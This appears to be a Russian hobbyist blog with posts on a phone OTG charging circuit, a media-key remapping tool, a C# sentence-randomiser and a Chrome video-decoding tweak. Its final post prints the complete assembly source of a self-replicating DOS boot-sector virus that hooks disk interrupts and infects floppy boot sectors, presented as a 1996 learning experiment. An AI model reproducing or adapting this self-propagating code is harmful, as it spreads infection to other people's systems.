понедельник, 8 августа 2016 г.

OTG с зарядкой для Asus ZE551ME

Сделал тут схемку OTG с зарядкой для Asus ZE551ME. Позволяет заряжать и использовать USB устройства одновременно.
Все делаете на свой страх и риск
Режимы (нужно соблюдать включение, отключаем просто вынимаем из телефона):
1. Втыкаем в телефон, Подключаем USB устройство - Стандартный режим OTG
2. Втыкаем в телефон, Подключаем USB устройство, Подключаем зарядку - режим OTG с доп. питанием, тел. не заряжается
3. Подключаем зарядку, Втыкаем в телефон, Подключаем USB устройство - режим OTG с доп. питанием, тел. заряжается.




Настроить резистор чтоб на 4 выводе разъема к телефону было ~0,4В для медленной зарядки или ~0,5В...0,52В для стандартной зарядки.
ЗЫ: Для того чтоб работал внешний HDMI или VGA нужно преобрести устройство на чипе DisplayLink , 
поставить программу displaylink presenter через адаптер получаем HDMI или VGA порт
Адаптер требут мощного питания. Я использовал старый адаптер на DL-160 up to 1680x1050. Работает! Но тормозит.
Форум

понедельник, 17 ноября 2014 г.

Консольная программа посылающая нажатия кнопок в окно

Почти все ноутбуки имеют мультимедиа кнопки, которые управляют проигрывателем и почти у всех только Windows Media или Windows Media Center.
Данная программа(скачать) позволяет переназначить кнопки и управлять любым проигрывателем.
Пример конфигурации для VLC :
<?xml version="1.0" encoding="utf-8" ?>
<applications>
    <application name="VLC" title=".*VLC" DoForeGround="false" IsActive="true" IfForeGround="false" RetToFront="false">
      <button name="stop" action="C" launch="TASKKILL /F /IM vlc.exe /T" />     
      <button name="play" action="Space" launch="" />
      <button name="prev" action="P" launch="" />
      <button name="next" action="N" launch="" />
    </application>
    <application name="Windows Media" title=".*" DoForeGround="true" IsActive="true" IfForeGround="false" RetToFront="false">
      <button name="stop" action="MediaStop" launch="" />     
      <button name="play" action="MediaPlayPause" launch="&quot;C:\Program Files\VideoLAN\VLC\vlc.exe&quot; D:\Music" />
      <button name="prev" action="MediaPreviousTrack" launch="" />
      <button name="next" action="MediaNextTrack" launch="" />
    </application>
</applications>
Вызов:
>SendKeyToProgram.exe play

Если окно VLC не найдено то запустит проигрыватель для воспроизведения музыки с D:\Music
Если окно найдено то  пошлет кнопку "Space" в окно VLC 
Управляемые программы ищутся по заголовку окна который определяется в поле "Title" с помощью regex 
Действия кнопок курсора программируются с помощью Keys Enumeration вписываем в actions Member name кнопки через +. Пример CTRL+Left: ControlKey+Left
Если установлено значение launch, то выполнится запуск программы.
Например если нажать stop и окно VLC будет найдено, то VLC будет убита из процессов.
  
Теперь пример использования программы в лаунчере ноутбука Acer 8530.
Acer Launch Manager должен быть установлен и запущен.

В реестре(в других моделях будет отличаться путь) по пути
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Wistron\LManager\Settings\Buttons
Находятся настройки кнопок и мы можем настроить действия для кнопок.
Пример для кнопки "Play/Pause"
Мы меняем параметр Command прописываю путь к программе SendKeyToProgram.exe с командой.
Изменяем тип команды
"Command Type"="3"

Вот полный пример:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Wistron\LManager\Settings\Buttons\Play/Pause]
"Command"="\"C:\\Program Files (x86)\\SendKeyToProgram\\SendKeyToProgram.exe\" play"
"Command Type"="3"
"Remote Code"="F5F8"
"Configable"="1"

Сделав подобное действие для каждой кнопки, мы можем управлять плейром VLC.
Не забудьте перезапустить Acer Launch Manager после изменения реестра.

Задача с lightsoft.ru Перестройка предложения

Дело было вечером, делать было... Искал работу QA Automation и набрёл случайно на сайт
 lightsoft.ru. А там задачка, вот вечер был потрачен на решение задачи

Пожалуйста, разработайте функцию\класс для "перемешивания" предложения.
Символ | является разделителем слов-вариантов. Например:
"{Пожалуйста|Просто} сделайте так, чтобы это {удивительное|крутое|простое} тестовое предложение {изменялось {быстро|мгновенно} случайным образом|менялось каждый раз}."
На выходе должно получаться:
"Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось каждый раз." или "Просто сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом".
Вот решил поделиться моим решением на C#:
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;

namespace lightsoft
{
    class Program
    {
       
        static Dictionary<int, ArrayList> dictions = new Dictionary<int, ArrayList>();
        static int pos = 0;

        /// <summary>
        /// Возвращаем блок из строки
        /// </summary>
        /// <param name="str"></param>
        /// <returns>block</returns>
        private static string RetBlock(string str) {
            int startIndex = -1, finishIndex = -1;
            int counterStart = 0, counterFinish = 0;

            for (int i = 0; i < str.Length; i++)
            {
                if (str.Substring(i, 1) == "{")
                {
                    if (startIndex == -1) startIndex = i;
                    counterStart++;
                }

                if (str.Substring(i, 1) == "}")
                {
                    finishIndex = i;
                    counterFinish++;
                }
               
                if (startIndex < finishIndex && counterStart == counterFinish)
                {
                    return str.Substring(startIndex + 1, finishIndex - startIndex - 1);
                }

            }

            if (counterStart != counterFinish || startIndex > finishIndex)
            {
                throw new Exception("Error parse string:" + str);
            }

            return string.Empty;
        }

        /// <summary>
        /// Парсим строку на блоки и добавляем блоки в словарь
        /// </summary>
        /// <param name="str"></param>
        /// <returns>template</returns>
        private static string Parse(string str) {
          
            bool flagAdd = true;
            while(flagAdd){
                flagAdd = false;
                string block = RetBlock(str);
                if (block == string.Empty) return str;

                string str1 = Parse(block);             // используем рекурсию для всех внутренних блоков
                str = str.Replace(block, str1);
                block = str1;

                ArrayList words = new ArrayList();      // масив для варианов подстановки
                foreach(string blk in block.Split('|'))
                {
                    words.Add(blk);
                    flagAdd = true;
                }
                string posstr = "%" + Convert.ToString(pos) + "%";
                str = str.Replace("{" + block + "}", posstr);
                dictions.Add(pos, words);               // добавляем массив в словарь
                pos++;
            }

            return str;
        }


        private static Random rnd = new Random();

        /// <summary>
        /// Возвращаем случайный набор из массива
        /// </summary>
        /// <param name="idBlock"></param>
        /// <returns>random words</returns>
        private static string GetRndWords(int idBlock) {
            ArrayList words = new ArrayList();
            dictions.TryGetValue(idBlock, out words);
            int idWord = rnd.Next(0, words.Count);
            return (string)words[idWord];       
        }

        /// <summary>
        /// Генерируем строку
        /// </summary>
        /// <param name="template"></param>
        /// <returns>new sentence</returns>
        private static string GenSentence(string template)
        {
            bool flag = true;
            string pattern = @"%[0-9]*%";
            Regex rgx = new Regex(pattern);           
            while(flag)
            {
                flag = false;
                foreach (Match match in rgx.Matches(template))
                {
                    int idBlock = Convert.ToInt32(match.Value.Replace("%",string.Empty));
                    template = template.Replace(match.Value, GetRndWords(idBlock));
                    flag = true;
                }
            }

            return template;
        }

        static void Main(string[] args)
        {
            string template = Parse(args[0]);
            for (int i = 0; i < 30; i++)
            {
                System.Console.WriteLine(GenSentence(template));
            }
            System.Console.ReadKey();
        }


    }
}


 Результат работы:
Просто сделайте так, чтобы это простое тестовое предложение менялось каждый раз.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Просто сделайте так, чтобы это крутое тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось мгновенно случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это простое тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это удивительное тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось мгновенно случайным образом.
Просто сделайте так, чтобы это крутое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это простое тестовое предложение изменялось быстро случайным образом.
Пожалуйста сделайте так, чтобы это крутое тестовое предложение менялось каждый раз.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось мгновенно случайным образом.
Просто сделайте так, чтобы это удивительное тестовое предложение изменялось быстро случайным образом.
Просто сделайте так, чтобы это простое тестовое предложение менялось каждый раз.
Пожалуйста сделайте так, чтобы это простое тестовое предложение изменялось мгновенно случайным образом.
Пожалуйста сделайте так, чтобы это простое тестовое предложение менялось каждый раз.

пятница, 18 апреля 2014 г.

Включение аппаратного декодирования для Youtube в Chrome

В свой нетбук я вставил аппаратный декодер Broadcom BCM-70012 (70015) Crystal HD Decoder Card. 
Он хорошо работает на ускорение воспроизведения flash видео, 
но не работает где видео воспроизводится через HTML5, например Youtube.
Для того чтоб включить аппаратное декодирование для Youtube, нужно Youtube сказать, 
что наш браузер не поддерживает HTML5.
Делаем ярлык с параметром: --user-agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-agent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

Или можно установить расширение User-Agent Switcher for Chrome или YouTube Options. В YouTube Options можно поставить, что использовать только Flash но работает нестабильно.

03.10.2014
Найдено замечательное расширение для хрома disable youtube html5 установите это расширение и chrome будет воспроизводить видео через flash.
Сейчас у меня видео 1080 на Acer aspire one (A150, A110) идет без проблем через аппаратный декодер Broadcom BCM-70012 Crystal HD Decoder Card.

среда, 27 ноября 2013 г.

Boot Virus

В далеком 1996(а может раньше, дата файла 96г.) году был у меня компьютер Поиск1 и учился я программировать на assembler. И конечно я не смог обойти тему вирусов, так как было любопытно и позволило мне изучить работу: BIOS, накопителей(FDD, HDD) и файловой системы (FAT). В те времена переделывал вывод CGA для Поиска1, писал драйвер джойстика и еще много интересных вещей. Хорошее время было...
Вирус был написан только для эксперемента и не расспространялся.
Сейчас это уже не актуально, но может кому то будет интересно.
Код правда без комментариев, но если интересно можно разобраться.
;------------------------------------------------------
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:CODESG,SS:CODESG,ES:CODESG

org 12Bh
adres equ 12Bh
smech equ 40h
sizvir equ endvir-begvir
;------------------------------------------------------
begvir:  push cs
pop ds
cld
push cs
pop es
mov si,07C00h+smech
mov di,adres
mov cx,sizvir
rep
movsb
les bx,ds:[04Ch]
mov word ptr ds:[iin],bx
mov word ptr ds:[cin],es
mov ax,offset reads
push ax
ret
reads: push cs
pop es
mov ax,0201h
mov cx,4F01h
mov bx,07C00h
int 13h
mov ax,offset inter
mov word ptr ds:[04Ch],ax
xor ax,ax
mov word ptr ds:[04Ch+2],ax
push bx
ret
inter: push ax
pushf
pop ax
test ah,01h
pop ax
jnz m8
cmp ah,02h
jz mk
cmp ah,03h
jnz extin
mk: cmp cx,0001h
jz redvir
cmp cx,4F01h
jnz extin
m5: retf 02
redvir:  or dh,dh
jz zar
extin: db 0EAh
ain label dword
iin dw 00h
cin dw 00h
m8: cli
les bx,cs:[04h]
mov byte ptr es:[bx],0CFh
pushf
pop ax
and ah,0FEh
push ax
popf
db 0EAh
dw 0FFF0h
dw 0F000h
zar: cmp ah,03h
jz mh
push ax
mov ah,02h
pushf
call cs:[ain]
pop ax
mh: cmp byte ptr es:[bx+511],0AAh
jnz extin
mov ch,4Fh
cmp byte ptr es:[bx+1],029h
jnz m6
jmp extin
m6: mov ax,0301h
mov cl,01h
pushf
call cs:[ain]
mov word ptr es:[bx],029EBh
push ds
push si
push di
push cs
pop ds
cld
mov cx,sizvir
lea di,[bx+smech]
mov si,adres
rep
movsb
pop di
pop si
pop ds
mov ax,0301h
mov cx,0001h
pushf
call cs:[ain]
jb mm9
mov cx,4F01h
mm9: mov ax,0201h
jmp extin
db '* STRANGER *'
endvir:
CODESG ENDS